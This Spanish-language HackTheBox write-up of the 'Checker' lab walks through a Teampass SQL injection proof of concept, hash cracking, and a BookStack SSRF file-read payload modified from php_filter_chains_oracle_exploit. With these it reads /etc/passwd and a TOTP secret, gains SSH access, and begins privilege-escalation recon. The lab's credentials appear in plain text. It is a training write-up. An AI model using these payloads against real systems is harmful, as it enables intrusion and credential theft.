This page looks best with JavaScript enabled

HackTheBox - Checker

En Checker se inicio con la explotacion de una vulnerabilidad SQLi en Teampass donde se encontraron credenciales que permitieron el acceso a BookStack y posteriormente la explotacion de LFI via SSRF donde logramos la lectura del codigo 2FA para Google Authenticator lo que facilito el acceso por SSH. La Escalada de Privilegios involucra el analisis de un ejecutable que verifica el hash de un usuario que, hace uso de Memoria Compartida para el manejo de informacion y ejecucion de consultas en MySQL. Se ecribio un programa para encontrar y modificar la informacion en memoria para realizar Command Injection.

Nombre Checker box_img_maker
OS

Linux

Puntos 40
Dificultad Hard
Fecha de Salida 2025-02-22
IP 10.10.11.56
Maker

0xyassine

Rated
{
    "type": "bar",
    "data":  {
        "labels": ["Cake", "VeryEasy", "Easy", "TooEasy", "Medium", "BitHard","Hard","TooHard","ExHard","BrainFuck"],
        "datasets": [{
            "label": "User Rated Difficulty",
            "data": [31, 12, 31, 63, 132, 202, 352, 274, 87, 113],
            "backgroundColor": ["#9fef00","#9fef00","#9fef00", "#ffaf00","#ffaf00","#ffaf00","#ffaf00", "#ff3e3e","#ff3e3e","#ff3e3e"]
        }]
    },
    "options": {
        "scales": {
          "xAxes": [{"display": false}],
          "yAxes": [{"display": false}]
        },
        "legend": {"labels": {"fontColor": "white"}},
        "responsive": true
      }
}

Recon

nmap

nmap muestra multiples puertos abiertos: http (80, 8080) y ssh (22).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
# Nmap 7.95 scan initiated Tue Feb 25 17:08:49 2025 as: /usr/lib/nmap/nmap --privileged -p22,80,8080 -sV -sC -oN nmap_scan 10.129.215.172
Nmap scan report for 10.129.215.172
Host is up (0.066s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 aa:54:07:41:98:b8:11:b0:78:45:f1:ca:8c:5a:94:2e (ECDSA)
|_  256 8f:2b:f3:22:1e:74:3b:ee:8b:40:17:6c:6c:b1:93:9c (ED25519)
80/tcp   open  http    Apache httpd
|_http-title: 403 Forbidden
|_http-server-header: Apache
8080/tcp open  http    Apache httpd
|_http-title: 403 Forbidden
|_http-server-header: Apache
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Feb 25 17:09:00 2025 -- 1 IP address (1 host up) scanned in 10.29 seconds

Web Site

El sitio web nos redirige al dominio checker.htb el cual agregamos al archivo /etc/hosts.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
❯ curl -sI 10.129.215.172
HTTP/1.1 302 Found
Date: Tue, 25 Feb 2025 22:10:51 GMT
Server: Apache
Cache-Control: no-cache, no-store, private
Location: http://checker.htb/login
Content-Security-Policy: frame-ancestors 'self'; frame-src 'self' https://*.draw.io https://*.youtube.com https://*.youtube-nocookie.com https://*.vimeo.com https://embed.diagrams.net; script-src http: https: 'nonce-7BwGUSs6em6CnePJzi6AL4kC' 'strict-dynamic'; object-src 'self'; base-uri 'self'
Expires: Sun, 12 Jul 2015 19:01:00 GMT
Set-Cookie: XSRF-TOKEN=eyJpdiI6ImJreWdBNlFKV0c3TVVTc3pvUklNZGc9PSIsInZhbHVlIjoiTkFMbzU1aUR2OHRadnlzaUpESEJiU1pWdHFrZWJZWTBhcHdhMndzUEZacUlrRjFKRzUrZzhSanoyeWN4VUJWcnJGUWV6SDZlZzhVeDR3OStrSEQvYVRUNG1BemthelI3WHJYejdOQ2o5OVBjMzkvM2NWaUtFTy9rUFJjWmh2eE0iLCJtYWMiOiJhMzllYTNiMTViOTUyOWRjNWEyYWMxZDI5YTVhN2I4ODBmMDI0ODUxYTRkZmM4NGU5MjkwZTFhNDBmMmMzZjkyIiwidGFnIjoiIn0%3D; expires=Wed, 26-Feb-2025 00:10:51 GMT; Max-Age=7200; path=/; samesite=lax
Set-Cookie: bookstack_session=eyJpdiI6IjJTYlpiR3BIcVdrdEVXb3E0K3MzSXc9PSIsInZhbHVlIjoicXZQLzJYTU5UZTY2Tm43MGlucXBQWkp5M2pzUFRBbDBZMG5oeHdWdUZHUmV2bm9iaFRaekYvZEJtUVE3ZFBWODBGZ2pOVlF6S3M1d0hsaTBuOFFmZktndWpnRHYwbTV6cFF5NHpuT05BYTIyTDlPV25LdGRSYlQxT0xvcVZFbi8iLCJtYWMiOiI2NGFhOTI5YzgxNDdhZjUzZGU5MzllMmRjNmI1OWZlZDU3MjMyODNiYTUxZDkyMGY1ZWYwMWI2ZmRlOTRiMWU5IiwidGFnIjoiIn0%3D; expires=Wed, 26-Feb-2025 00:10:51 GMT; Max-Age=7200; path=/; httponly; samesite=lax
Content-Type: text/html; charset=UTF-8

El sitio web muestra el formulario de login de BookStack.

image

En el codigo fuente del sitio observamos la version v23.10.2 en app.js.

1
2
3
4
5
6
<span>Back to top</span>
        </div>
    </div>
                <script src="http://checker.htb/dist/app.js?version=v23.10.2" nonce="uxGcNQA3YCG0oU7ufelKBPTb"></script>        
    </body>
</html>

Teampass

En el puerto 8080 encontramos el login de Teampass.

image

vault.checker.htb

Al visitar el puerto 8080 se realizan algunas solicitudes hacia vault.checker.htb.

image

Al realizar una solicitud a este subdominio observamos que redirige hacia el login de BookStack.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
❯ curl -sI http://vault.checker.htb
HTTP/1.1 302 Found
Date: Thu, 27 Feb 2025 06:04:24 GMT
Server: Apache
Cache-Control: no-cache, no-store, private
Location: http://checker.htb/login

[.. snip ..]

Content-Type: text/html; charset=UTF-8

Teampass - CVE-2023-1545

Teampass tiene una vulnerabilidad SQL injection en la API la cual permite obtener el username y hash de la contrasena. Tras ejecutar el PoC este nos muestra dos usuarios registrados.

1
2
3
4
5
6
7
❯ bash exploit.sh
Usage: exploit.sh <base-url>
❯ bash exploit.sh http://checker.htb:8080/
There are 2 users in the system:
admin: $2y$10$lKCae0EIUNj6f96ZnLqnC.LbWqrBQCT1LuHEFht6PmE4yH75rpWya
bob: $2y$10$yMypIj1keU.VAqBI692f..XXn0vfyBL7C1EhOs35G59NxmtpJ/tiy

Cracking the Hash

Ejecutamos hashcat con el wordlist rockyou.txt sobre el archivo de hash. Observamos la contrasena de bob.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
C:\Users\sckull\Documents\hashcat-6.2.6>hashcat -m 3200 ../hash/checker_teampass rockyou.txt
hashcat (v6.2.6) starting

[... snip ...]

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 72

Hashes: 2 digests; 2 unique digests, 2 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte

Watchdog: Temperature abort trigger set to 90c

Host memory required for this attack: 158 MB

Dictionary cache hit:
* Filename..: rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

$2y$10$yMypIj1keU.VAqBI692f..XXn0vfyBL7C1EhOs35G59NxmtpJ/tiy:cheerleader

[...]

[s]tatus [p]ause [b]ypass [c]heckpoint [f]inish [q]uit =>

Passwords

Tras ingresar con las credenciales, observamos que bob tiene dos credenciales.

image

La primera es para BookStack, la segunda para el servicio SSH.

image
image

1
2
3
4
5
6
7
- boosktack login
bob@checker.htb : mYSeCr3T_w1kI_P4sSw0rD

- ssh access
reader : hiccup-publicly-genesis

# ssh asks for 2fa (code)

SSH 2FA

Intentamos ingresar por SSH pero este pide un codigo de verificacion.

1
2
3
4
┌──(kali㉿kali)-[~/htb/checker]
└─$ ssh reader@checker.htb
(reader@checker.htb) Password: 
(reader@checker.htb) Verification code: 

BookStack

Al ingresar a Bookstack observamos actividad por parte del usuario admin y bob.

image

El libro ‘Linux Security’ tiene tres paginas registradas.

image

La pagina ‘File Permissions’ muestra dos scripts para realizar un backup.

image

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
#!/bin/bash
SOURCE="/home"
DESTINATION="/backup/home_backup"

mkdir -p $DESTINATION
cp -r --remove-destination -p $SOURCE $DESTINATION/

#!/bin/bash
SOURCE="/home"
DESTINATION="/backup/home_backup"

mkdir -p $DESTINATION
cp -r --remove-destination --no-preserve=mode,ownership $SOURCE $DESTINATION/

CVE-2023-6199

Encontramos que BookStack tiene una vulnerabilidad SSRF; fluidattacks muestra en el post LFR via SSRF in BookStack donde explica la vulnerabilidad y la forma de “leer” archivos a traves de Blind File Oracles sugiriendo la herrramienta php_filter_chains_oracle_exploit.

PoC

El PoC muestra que la explotacion se realiza a traves del contenido de una pagina insertando el tag <img> la imagen en base64 es una url.

Intentamos replicar el PoC en checker, ejecutamos un servidor http con python, creamos un libro y una pagina, en esta ultima agregamos contenido, automaticamente se realiza una solicitud para guardar el borrador.

image

image

Editamos la solicitud con Repeater de Burpsuite y enviamos el tag con el contenido codificado donde agregamos la IP de nuestra maquina.

image

1
<img src='data:image/png;base64,aHR0cDovLzEwLjEwLjE0LjY3L2ltYWdlLnBuZw=='/>

Tras enviar la solicitud observamos solicitudes por parte de la maquina.

1
2
3
4
5
6
❯ httphere .
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.56 - - [27/Feb/2025 01:47:36] code 404, message File not found
10.10.11.56 - - [27/Feb/2025 01:47:36] "GET /image.png HTTP/1.1" 404 -
10.10.11.56 - - [27/Feb/2025 01:47:36] code 404, message File not found
10.10.11.56 - - [27/Feb/2025 01:47:36] "GET /image.png HTTP/1.1" 404 -

Exploit

Editamos el codigo de php_filter_chains_oracle_exploit agregando el tag y codificando en base64 del payload.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
# requestor.py
def req_with_response(self, s):
    if self.delay > 0:
        time.sleep(self.delay)

    filter_chain = f'php://filter/{s}{self.in_chain}/resource={self.file_to_leak}'
    b64filter = base64.b64encode(filter_chain.encode('utf-8'))
    filter_chain = f"<img+src='data:image/png;base64,{b64filter.decode()}'/>"    

    # DEBUG print(filter_chain)
    merged_data = self.parameter + '=' + filter_chain
    # Make the request, the verb and data encoding is defined
    # [....]
    #  snip
    # [....]

# bruteforcer.py
def find_value(self, i: int) -> str:
    """Finds the value at offset i, whether it's a letter or a digit."""
    while True:
        if i in self.cache:
            prefix = self.cache[i]['prefix']
            letter = self.cache[i]['letter']
        else:
            prefix = f"{self.HEADER}|{self.get_nth(i)}"
            letter = self.find_letter(prefix)
            self.cache[i] = {'prefix': prefix, 'letter': letter}

        if letter == "*":
            letter = self.find_number(i)
            self.cache[i]['letter'] = letter  # Update cache with new letter

        if letter == "*" and self.FLIP != self.FLIP_WARNING_FRIENDLY:
            self.FLIP = self.FLIP_WARNING_FRIENDLY
        else:
            break
    return letter

Con el cambio realizado ejecutamos el script con los valores necesarios para la explotacion, tras ello empezamos a observar contenido del archivo /etc/passwd, eventualmente obtuvimos el contenido completo.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
❯ python3 filters_chain_oracle_exploit.py --target 'http://checker.htb/ajax/page/8/save-draft' --file '/etc/passwd' --verb PUT --parameter html --headers '{"X-CSRF-TOKEN": "zoIXCBP2O0QZSC4TV5dOGXTvbF4pDg6CEOqC12Vb", "Content-Type":"application/x-www-form-urlencoded","Cookie":"bookstack_session=eyJpdiI6IjNGSVlsaGIyZUVQMGJaOW5mRHZSSGc9PSIsInZhbHVlIjoiYmo5SE9XWExNUzFKc1VXbytmcVpuTTk2SWttUk1vSHo5WU9jdlpzSXNuWkdhNHRRd1NMZEpXTFVEY3VrOGI0RG5YeXMzTUhaWWQ1dGpsd25WZUlWZ1BXTkFBejJCZmpHLzdBdiszdkxzdzFGS2d6MUx5amxaZ2pkcXFnUm5RdG0iLCJtYWMiOiIxNTEwN2QzMjg3ODczMTc0OTI3NDM2Y2RmNjE4MmVkNjNhY2I2NjZlOGEzZDI0NWQ1M2M2ZDY4N2RkYzg2ZGQyIiwidGFnIjoiIn0%3D" }' --log file.log
[*] The following URL is targeted : http://checker.htb/ajax/page/8/save-draft
[*] The following local file is leaked : /etc/passwd
[*] Running PUT requests
[*] Additionnal headers used : {"X-CSRF-TOKEN": "zoIXCBP2O0QZSC4TV5dOGXTvbF4pDg6CEOqC12Vb", "Content-Type":"application/x-www-form-urlencoded","Cookie":"bookstack_session=eyJpdiI6IjNGSVlsaGIyZUVQMGJaOW5mRHZSSGc9PSIsInZhbHVlIjoiYmo5SE9XWExNUzFKc1VXbytmcVpuTTk2SWttUk1vSHo5WU9jdlpzSXNuWkdhNHRRd1NMZEpXTFVEY3VrOGI0RG5YeXMzTUhaWWQ1dGpsd25WZUlWZ1BXTkFBejJCZmpHLzdBdiszdkxzdzFGS2d6MUx5amxaZ2pkcXFnUm5RdG0iLCJtYWMiOiIxNTEwN2QzMjg3ODczMTc0OTI3NDM2Y2RmNjE4MmVkNjNhY2I2NjZlOGEzZDI0NWQ1M2M2ZDY4N2RkYzg2ZGQyIiwidGFnIjoiIn0%3D" }
[...] snip [...]
[+] File /etc/passwd leak is finished!
cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9zYmluL25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5bmM6eDo0OjY1NTM0OnN5bmM6L2JpbjovYmluL3N5bmMKZ2FtZXM6eDo1OjYwOmdhbWVzOi91c3IvZ2FtZXM6L3Vzci9zYmluL25vbG9naW4KbWFuOng6NjoxMjptYW46L3Zhci9jYWNoZS9tYW46L3Vzci9zYmluL25vbG9naW4KbHA6eDo3Ojc6bHA6L3Zhci9zcG9vbC9scGQ6L3Vzci9zYmluL25vbG9naW4KbWFpbDp4Ojg6ODptYWlsOi92YXIvbWFpbDovdXNyL3NiaW4vbm9sb2dpbgpuZXdzOng6OTo5Om5ld3M6L3Zhci9zcG9vbC9uZXdzOi91c3Ivc2Jpbi9ub2xvZ2luCnV1Y3A6eDoxMDoxMDp1dWNwOi92YXIvc3Bvb2wvdXVjcDovdXNyL3NiaW4vbm9sb2dpbgpwcm94eTp4OjEzOjEzOnByb3h5Oi9iaW46L3Vzci9zYmluL25vbG9naW4Kd3d3LWRhdGE6eDozMzozMzp3d3ctZGF0YTovdmFyL3d3dzovdXNyL3NiaW4vbm9sb2dpbgpiYWNrdXA6eDozNDozNDpiYWNrdXA6L3Zhci9iYWNrdXBzOi91c3Ivc2Jpbi9ub2xvZ2luCmxpc3Q6eDozODozODpNYWlsaW5nIExpc3QgTWFuYWdlcjovdmFyL2xpc3Q6L3Vzci9zYmluL25vbG9naW4KaXJjOng6Mzk6Mzk6aXJjZDovcnVuL2lyY2Q6L3Vzci9zYmluL25vbG9naW4KZ25hdHM6eDo0MTo0MTpHbmF0cyBCdWctUmVwb3J0aW5nIFN5c3RlbSAoYWRtaW4pOi92YXIvbGliL2duYXRzOi91c3Ivc2Jpbi9ub2xvZ2luCm5vYm9keTp4OjY1NTM0OjY1NTM0Om5vYm9keTovbm9uZXhpc3RlbnQ6L3Vzci9zYmluL25vbG9naW4KX2FwdDp4OjEwMDo2NTUzNDo6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5c3RlbWQtbmV0d29yazp4OjEwMToxMDI6c3lzdGVtZCBOZXR3b3JrIE1hbmFnZW1lbnQsLCw6L3J1bi9zeXN0ZW1kOi91c3Ivc2Jpbi9ub2xvZ2luCnN5c3RlbWQtcmVzb2x2ZTp4OjEwMjoxMDM6c3lzdGVtZCBSZXNvbHZlciwsLDovcnVuL3N5c3RlbWQ6L3Vzci9zYmluL25vbG9naW4KbWVzc2FnZWJ1czp4OjEwMzoxMDQ6Oi9ub25leGlzdGVudDovdXNyL3NiaW4vbm9sb2dpbgpzeXN0ZW1kLXRpbWVzeW5jOng6MTA0OjEwNTpzeXN0ZW1kIFRpbWUgU3luY2hyb25pemF0aW9uLCwsOi9ydW4vc3lzdGVtZDovdXNyL3NiaW4vbm9sb2dpbgpwb2xsaW5hdGU6eDoxMDU6MTo6L3Zhci9jYWNoZS9wb2xsaW5hdGU6L2Jpbi9mYWxzZQpzc2hkOng6MTA2OjY1NTM0OjovcnVuL3NzaGQ6L3Vzci9zYmluL25vbG9naW4KdXNibXV4Ong6MTA3OjQ2OnVzYm11eCBkYWVtb24sLCw6L3Zhci9saWIvdXNibXV4Oi91c3Ivc2Jpbi9ub2xvZ2luCnJlYWRlcjp4OjEwMDA6MTAwMDo6L2hvbWUvcmVhZGVyOi9iaW4vYmFzaApteXNxbDp4OjEwODoxMTQ6TXlTUUwgU2VydmVyLCwsOi9ub25leGlzdGVudDovYmluL2ZhbHNlCl9sYXVyZWw6eDo5OTk6OTk5OjovdmFyL2xvZy9sYXVyZWw6L2Jpbi9mYWxz
b'root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\nproxy:x:13:13:proxy:/bin:/usr/sbin/nologin\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\nlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin\nirc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin\ngnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\n_apt:x:100:65534::/nonexistent:/usr/sbin/nologin\nsystemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin\nsystemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin\nmessagebus:x:103:104::/nonexistent:/usr/sbin/nologin\nsystemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin\npollinate:x:105:1::/var/cache/pollinate:/bin/false\nsshd:x:106:65534::/run/sshd:/usr/sbin/nologin\nusbmux:x:107:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin\nreader:x:1000:1000::/home/reader:/bin/bash\nmysql:x:108:114:MySQL Server,,,:/nonexistent:/bin/false\n_laurel:x:999:999::/var/log/laurel:/bin/fals'
[*] Info logged in : file.log

El contenido del archivo muestra que existe el usuario reader en la maquina.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# The following data was leaked from http://checker.htb/ajax/page/11/save-draft from the file /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
usbmux:x:107:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
reader:x:1000:1000::/home/reader:/bin/bash
mysql:x:108:114:MySQL Server,,,:/nonexistent:/bin/false
_laurel:x:999:999::/var/log/laurel:/bin/fals

User - Reader (SSH + 2FA)

SSH muestra como requisito un codigo de verificacion, encontramos que es posible implementar 2FA en SSH con Google Authenticator, y la secret key se encuentra en ~/.google_authenticator.

Intentamos obtener la secret key pero encontramos que no existe o no tenemos los permisos para leerlo.

1
[-] File /home/reader/.google_authenticator is either empty, or the exploit did not work :(

En una de las paginas en BookStack encontramos un script que sugiere la forma de realizar un backup de /home a /backup/home_backup, intentamos con esta ruta y logramos leer el archivo.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
❯ python3 filters_chain_oracle_exploit.py --target 'http://checker.htb/ajax/page/8/save-draft' --file '/backup/home_backup/home/reader/.google_authenticator' --verb PUT --parameter html --headers '{"X-CSRF-TOKEN": "zoIXCBP2O0QZSC4TV5dOGXTvbF4pDg6CEOqC12Vb", "Content-Type":"application/x-www-form-urlencoded","Cookie":"bookstack_session=eyJpdiI6IjNGSVlsaGIyZUVQMGJaOW5mRHZSSGc9PSIsInZhbHVlIjoiYmo5SE9XWExNUzFKc1VXbytmcVpuTTk2SWttUk1vSHo5WU9jdlpzSXNuWkdhNHRRd1NMZEpXTFVEY3VrOGI0RG5YeXMzTUhaWWQ1dGpsd25WZUlWZ1BXTkFBejJCZmpHLzdBdiszdkxzdzFGS2d6MUx5amxaZ2pkcXFnUm5RdG0iLCJtYWMiOiIxNTEwN2QzMjg3ODczMTc0OTI3NDM2Y2RmNjE4MmVkNjNhY2I2NjZlOGEzZDI0NWQ1M2M2ZDY4N2RkYzg2ZGQyIiwidGFnIjoiIn0%3D" }' --log file1.log
[*] The following URL is targeted : http://checker.htb/ajax/page/8/save-draft
[*] The following local file is leaked : /backup/home_backup/home/reader/.google_authenticator
[*] Running PUT requests
[*] Additionnal headers used : {"X-CSRF-TOKEN": "zoIXCBP2O0QZSC4TV5dOGXTvbF4pDg6CEOqC12Vb", "Content-Type":"application/x-www-form-urlencoded","Cookie":"bookstack_session=eyJpdiI6IjNGSVlsaGIyZUVQMGJaOW5mRHZSSGc9PSIsInZhbHVlIjoiYmo5SE9XWExNUzFKc1VXbytmcVpuTTk2SWttUk1vSHo5WU9jdlpzSXNuWkdhNHRRd1NMZEpXTFVEY3VrOGI0RG5YeXMzTUhaWWQ1dGpsd25WZUlWZ1BXTkFBejJCZmpHLzdBdiszdkxzdzFGS2d6MUx5amxaZ2pkcXFnUm5RdG0iLCJtYWMiOiIxNTEwN2QzMjg3ODczMTc0OTI3NDM2Y2RmNjE4MmVkNjNhY2I2NjZlOGEzZDI0NWQ1M2M2ZDY4N2RkYzg2ZGQyIiwidGFnIjoiIn0%3D" }
[+] File /backup/home_backup/home/reader/.google_authenticator leak is finished!
RFZEQlJBT0RMQ1dGN0kyT05BNEs1TFFMVUUKIiBUT1RQX0FVVEgK
b'DVDBRAODLCWF7I2ONA4K5LQLUE\n" TOTP_AUTH\n'
[*] Info logged in : file1.log
❯ cat file1.log
# The following data was leaked from http://checker.htb/ajax/page/8/save-draft from the file /backup/home_backup/home/reader/.google_authenticator
DVDBRAODLCWF7I2ONA4K5LQLUE
" TOTP_AUTH

Shell

Con el codigo conocido utilizando TOTP Token Generator para generar un codigo.

image

Ingresamos por SSH con la contrasena y codigo, logrando obtener una shell como reader y la flag user.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
┌──(kali㉿kali)-[~/htb/checker]
└─$ ssh reader@checker.htb # hiccup-publicly-genesis
(reader@checker.htb) Password: 
(reader@checker.htb) Verification code: 
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-131-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Last login: Wed Feb 26 04:10:09 2025 from 10.10.14.25
reader@checker:~$ whoami;id;pwd
reader
uid=1000(reader) gid=1000(reader) groups=1000(reader)
/home/reader
reader@checker:~$ ls
user.txt
reader@checker:~$ cat user.txt 
d648585b0b994e54b80ec8e417521ad5
reader@checker:~$

Privesc

reader tiene permisos para ejecutar como root el script check-leak.sh.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
reader@checker:~$ sudo -l -l
Matching Defaults entries for reader on checker:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User reader may run the following commands on checker:

Sudoers entry:
    RunAsUsers: ALL
    Options: !authenticate
    Commands:
	/opt/hash-checker/check-leak.sh *
reader@checker:~$

El script carga variables de entorno del archivo .env, acepta letras y numeros como nombre de usuario, este ultimo es utilizado como argumento en check_leak.

1
2
3
4
#!/bin/bash
source `dirname $0`/.env
USER_NAME=$(/usr/bin/echo "$1" | /usr/bin/tr -dc '[:alnum:]')
/opt/hash-checker/check_leak "$USER_NAME"

check_leak

Al ejecutar file sobre check_leak observamos que es un ejecutable.

1
2
3
reader@checker:~$ file /opt/hash-checker/check_leak
/opt/hash-checker/check_leak: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=f1d8ae448c936df395ad9e825b897965da88afd8, for GNU/Linux 3.2.0, with debug_info, not stripped
reader@checker:~$

Se ejecuto strings sobre el ejecutable, se muestra el uso de memoria compartida, la ejecucion de mysql con un query. Ademas encontramos un archivo de texto con una lista de hashes.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
reader@checker:~$ strings /opt/hash-checker/check_leak
/lib64/ld-linux-x86-64.so.2
[...]
libasan.so.6
libmysqlclient.so.21
[...]
libmysqlclient_21.0
[...]
1 32 1024 8 query:36
Error: %s
SELECT pw FROM teampass_users WHERE login = '%s';
Error storing result: %s
Memory allocation error.
1 32 256 7 line:76
Error opening file
1 32 8 7 now:105
shmget
shmat
Leaked hash detected at %s > %s
Failed to locate shared memory segment with key 0x%X. It may not exist or there may be insufficient permissions.
Unable to attach to shared memory segment with ID %d. Please check if the segment is accessible.
An error occurred while detaching from shared memory segment with ID %d.
Could not delete shared memory segment with ID %d. Please ensure you have the necessary permissions.
1 32 256 17 result_buffer:171
No shared memory segment found for the given address: 0x%X
Leaked hash detected
MYSQL_PWD
setenv
mysql -u %s -D %s -s -N -e 'select email from teampass_users where pw = "%s"'
Failed to allocate memory for command
Failed to execute MySQL query
Failed to read result from the db
Failed to allocate memory for result string
User will be notified via %s
Malformed data in the shared memory.
No hash detected in shared memory.
shmdt
DB_HOST
DB_USER
DB_PASSWORD
DB_NAME
/opt/hash-checker/leaked_hashes.txt
Error: Missing database credentials in environment
Usage: %s <USER>
Error: <USER> is not provided.
Error: <USER> is too long. Maximum length is 20 characters.
Password is leaked!
Using the shared memory 0x%X as temp location
User is safe.
User not found in the database.
*.LC4
check.c
[...]
.debug_line_str
reader@checker:~$ cat /opt/hash-checker/leaked_hashes.txt
$2b$10$rbzaxiT.zUi.e28wm2ja8OGx.jNamreNFQC6Kh/LeHufCmduH8lvy
$2b$10$Tkd9LwWOOzR.DWdzj9aSp.Bh.zQnxZahKel4xMjxLIHzdostFVqsK
$2b$10$a/lpwbKF6pyAWeGHCVARz.JOi3xtNzGK..GZON/cFhNi1eyMi4UIC
$2y$10$yMypIj1keU.VAqBI692f..XXn0vfyBL7C1EhOs35G59NxmtpJ/tiy
$2b$10$DanymKXfnu1ZTrRh3JwBhuPsmjgOEBJLNEEmLPAAIfG9kiOI28fIC
$2b$10$/GwrAIQczda3O5.rnGb4IOqEE/JMU4TIcy95ECSh/pZBQzhlWITQ.
$2b$10$Ef6TBE9GdSsjUPwjm0NYlurGfVO/GdtaCsWBpVRPnQsCbYgf4oU8a
$2b$10$/KLwuhoXHfyKpq1qj8BDcuzNyhR0h0g27jl0yiX7BpBL9kO.wFWii
$2b$10$Ito9FRIN9DgMHWn20Zgfa.yKKlJ.HedScxyvymCxMYTWaZANHIzvO
